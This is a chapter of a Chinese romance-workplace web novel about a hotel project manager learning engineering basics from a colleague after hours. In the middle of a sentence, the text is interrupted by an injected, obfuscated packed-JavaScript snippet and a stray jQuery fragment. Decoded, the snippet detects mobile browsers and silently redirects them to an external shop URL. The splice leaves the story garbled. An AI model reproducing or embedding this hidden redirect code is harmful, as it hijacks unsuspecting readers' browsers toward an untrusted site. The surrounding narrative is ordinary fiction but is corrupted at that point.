本来只是圈几个重点,没想到边画图边发现问题越来越多。
桌上的手机突然响了,吴经理看了一眼来电立马就接起来,“哎,马上马上。”
电话不到三十秒就挂了,一看程千玥还专注地埋头盯着面前的资料,吴经理抓了抓头发,“程经理啊,不好意思,我晚上有点儿事,差不多得回去了。有不懂的地方,我们明天再找时间继续讨论,可以吧?”
程千玥抬头看了看时间,才发现这小灶课不知不觉已经开到了七点,“哦可以啊,抱歉,我都没注意时间。”
“没关系,”吴经理说着就站起来开始收拾东西,“哎,我平时倒也没这么急,但今天是我女儿生日,说好了要一起切蛋糕的,再晚回去就要被我老婆骂了。”
“啊?真是对不起,还赶得及吗?”
“赶得及赶得及,现在走正好赶下一趟班车。”
“那你赶紧走吧,这边东西我收拾就行了。”
“行。”吴经理三下五除二就收拾好了包,“不用收拾,你把这些资料搬到那边的空桌子上就行。”
程千玥赶紧催他:“没事儿,你先走,快去赶班车吧。”
“你待会儿直接把门带上就行,路过208跟值班的小王讲一声,让他来锁办公室。”
“好的,我知道了。”程千玥挥挥手,示意吴经理快走。
刚刚给她讲解的时候,吴经理又从柜子里搬出了几本书,程千玥凭着记忆一一塞回了原本的位置。
老师回去了,留她自个儿就算看也看不明白,今天就先学到这儿吧。
忽然,门口有人敲门。
忘拿东西了吗?程千玥顺手拧开了门,却看到门外站的人是许泽熠。
“吴经理刚走,你找他有事儿吗?”
“哦,没事儿,我准备先回去了,看他办公室灯还亮着,打算跟他说一声,走了就算了。”许泽熠朝办公室里扫了一眼,“你不回去吗?”
“我把东西收拾一下就回去。”
“需要帮忙吗?”
“不用。”
许泽熠点点头,“下次再见。”
望着许泽熠转身离开的背影,程千玥似乎又想到了什么,“那个……你急着回去吗?”
许泽熠停下脚步回头看向她,“不着急。”
“可以麻烦你一件事吗?”
“什么事?”
“你过来帮我看一下,这里。”程千玥说着就回到了办公桌边,许泽熠也跟了过来。
她伸手指了指一行用亮黄标记的地方,“这个地方,说了这么一大堆到底什么意思?我怎么看不懂?”
许泽熠拿起桌上的资料看了一眼,又前后翻了几页,问:“你在看?”
“这是工程部的新人资料,有几个问题我还是不懂。”
“吴经理让你看的吗?”
“不是,是秘书找给我的,让我学点儿基础入门的东西。”
“整理得挺好。不过你不用全都看。”
“为什么?”
“这是给工程新人看的。”许泽熠翻到了最前面几页,看了看目录和概要,“配电系统、消防泵、冷冻机?这些都有专人负责,工程这块儿你不用管。”
“但我一点儿都不知道。”
“有个概念就够了。”
“什么概念?”
“比如哪儿要改、为什么改、花多少钱、值不值得。”
“那我怎么会知道哪儿要改?”
“你是项目负责人吧?”
“……是。”
“术业有专攻,工程技术方面,工程经理明白就行了。”许泽熠放下手里的资料,抬眼看向她,“就算是项目负责人,也不可能面面俱到。”
“那要我干嘛?”程千玥微微皱眉。
“如果工程经理跟你说必须拆,设计师跟你说不能拆,董事会说预算不够,你听谁的?”
“我听谁的?”程千玥顿了顿,“我当然谁的都不听,得自己做判断呀。”
“最后签字的人是谁?”
“是我啊。”
“没错,”许泽熠点点头,“你是项目负责人嘛。什么时候该信别人说的,什么时候不该,最后拍板,这些都比你花大力气去弄清楚配电的原理重要多了。”
“……”
“这些资料你看了多久?”许泽熠手指在上面敲了一下。
“下午才开始看的。”
“看懂了吗?”
“一半一半吧。”
“正常,还算好的。”
“什么叫正常?”
许泽熠低头瞅了一眼桌上的笔和草稿纸,“这笔能用吗?”
“你用吧。”
许泽熠在纸上画了一条线,又写了一排字。
程千玥侧过头,今天的字她都认得,而且好好写出来还挺好看的——“董事会、运营、设计院、施工、酒店”。
“你是运营部的吧?”许泽熠说着就在“运营”两个字下面画了条线。
“是。”
“你刚刚的问的东西在这儿。”他又在“施工”两个字上画了个圈儿,“配电、消防、管道,这些都是我们的工作,你不需要来一起拧螺丝,重点在前面。”
“董事会。”
“他们更关心为什么、多少钱、能赚多少,至于技术细节,都由我们来解释。”
“哦,明白了,”程千玥眼睛一下子亮了,这些不都是她酒店管理的老本行嘛,那她拿手呀,“也就是说,其实我只要考虑对客流、客单价和客户体验有多大程度的改善就行了。”
“你觉得对一家酒店来说,什么最重要?”
“当然是客人。”
“对搞工程的来说,我们的客人是你们酒店,而不是酒店的客人。所以,对你来说,工程只是取悦客人的道具,不是目的。”许泽熠放下了笔,“当然,也不是说技术方面可以一窍不通,但没必要用人家学了四年的水平来要求自己。”
“要是让你看酒店收益模型,你也一样看不太懂,对不对?”
许泽熠笑了一下,抿了抿嘴,反问道:“你昨天踏勘之后,有什么感想吗?”
程千玥低头想了想,“我好像第一次看墙壁和天花板后面装的东西,相比硬件,我平时的关注点都在软装上面,但这些看不见的部分其实很大程度会影响客户体验和回头率。”
“那你有发现什么不满意的地方吗?”
“……空气质量吧。不知道是不是因为还在梅雨季,总觉得有几层楼空调口出来的风好像有味道,没到霉味或臭味那么夸张的地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677349|207540||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
步,但会让人怀疑是不是没好好通风。
“不是味道,是湿度没降下来。”
“需要换空调吗?”
“不一定,要看原因,有可能风管脏了、风机盘管效率变低或者空调箱老化,有的换一下零部件就行。”
“还有几个地方比其他地方都冷,不应该是统一的中央空调吗?”
“那是风压设置不同,出来的风量会有差别。”
程千玥点点头,换成大白话,还是听得懂的。
“你那天做笔记了吗?”许泽熠问她。
“做了。”
“有没有发给吴经理?”
“没有。踏勘不是你们的专业吗?我发什么?”
“那你是写下来留给自己珍藏吗?”
“……”程千玥望着对面的人一副云淡风轻的样子,意识到对方压根儿没发现他自己的嘴巴有多毒,“那我可有一大堆感想。”
许泽熠笑了一下,“好事儿啊,我们最怕什么都没发现,愿闻其详。”
“等我明天整理整理再发吧,”程千玥又看了一眼时间,“今天太晚了。”
“那今天就到这里。”
“嗯。”
“这把椅子是放这儿的吗?”
“那边。”
拿出来的东西都物归原处之后,程千玥简单检查了一下,就熄灯关上了门。
“我要去一下208,跟值班的人说一声,你等我一下。”程千玥说着就朝跟电梯相反的地方走过去了。
到了208,里面有个年轻人趴在桌子上,眼睛都快贴到手机屏幕上去了。
应该就是吴经理说的小王了吧,程千玥敲了敲门,“你好,吴经理办公室没人了,要锁门。”
“哦。”小王敷衍地应了一声,但依然捧着手机在打游戏。
“是204房间。”
小王不耐烦地啧了一声,懒洋洋地拖长了尾音,“知道——”
嘿,这什么态度?程千玥对着空气翻了一个无人在意的白眼,吸了一口气,“你是这儿的实习生吗?”
听到这话,小王终于放下了手机,抬头看向门口,但显然并不认识程千玥,反问道:“你是新来的?”
人在无语的时候很容易发笑,程千玥也不例外,“对,我新来的,跟吴经理一个办公室的。”
小王似乎意识到了什么,站了起来,声音也变得稳重多了,“知道了,我马上就去。”
说着,他就走到了一旁的钥匙柜前面开始找钥匙。
程千玥抿了一下嘴,懒得再多话了,转身就走,却发现许泽熠就站在身后,才想起来让他一起等着了,不觉有些烦躁。
“走吧。”
“好了吗?”
“嗯。”
两人走到员工电梯门口,电梯很快就到了。程千玥先进电梯,按了三和五,她回五楼办公室,和主楼相通的连廊在三楼,许泽熠可以从那儿过去。
“你先走吧,我等下一班,再见。”许泽熠开口了。
“你不回去吗?”程千玥按住了开门键。
“我出去一下。”
“哦。”程千玥说着就松开了手,他怎么不早说呢?
电梯门缓缓关闭,许泽熠笑着冲她点了点头,消失在了电梯门后面。